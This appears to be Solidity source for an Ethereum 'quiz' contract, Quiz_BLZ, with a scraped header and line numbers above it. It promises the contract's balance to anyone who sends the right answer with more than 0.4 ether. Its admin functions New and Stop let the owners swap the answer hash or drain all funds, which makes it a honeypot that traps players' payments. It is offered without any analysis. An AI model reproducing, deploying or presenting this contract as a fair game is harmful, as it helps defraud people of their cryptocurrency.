pragma solidity 25 contract Quiz_BLZ function Try string _response ext

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
pragma solidity ^0.4.25;
contract Quiz_BLZ
{
function Try(string _response) external payable
{
require(msg.sender == tx.origin);
if(responseHash == keccak256(_response) && msg.value > 0.4 ether)
{
msg.sender.transfer(this.balance);
}
}
string public question;
bytes32 responseHash;
mapping (bytes32=>bool) admin;
function Start(string _question, string _response) public payable isAdmin{
if(responseHash==0x0){
responseHash = keccak256(_response);
question = _question;
}
}
function Stop() public payable isAdmin {
msg.sender.transfer(this.balance);
}
function New(string _question, bytes32 _responseHash) public payable isAdmin {
question = _question;
responseHash = _responseHash;
}
constructor(bytes32[] admins) public{
for(uint256 i=0; i< admins.length; i++){
admin[admins[i]] = true;
}
}
modifier isAdmin(){
require(admin[keccak256(msg.sender)]);
_;
}
function() public payable{}
}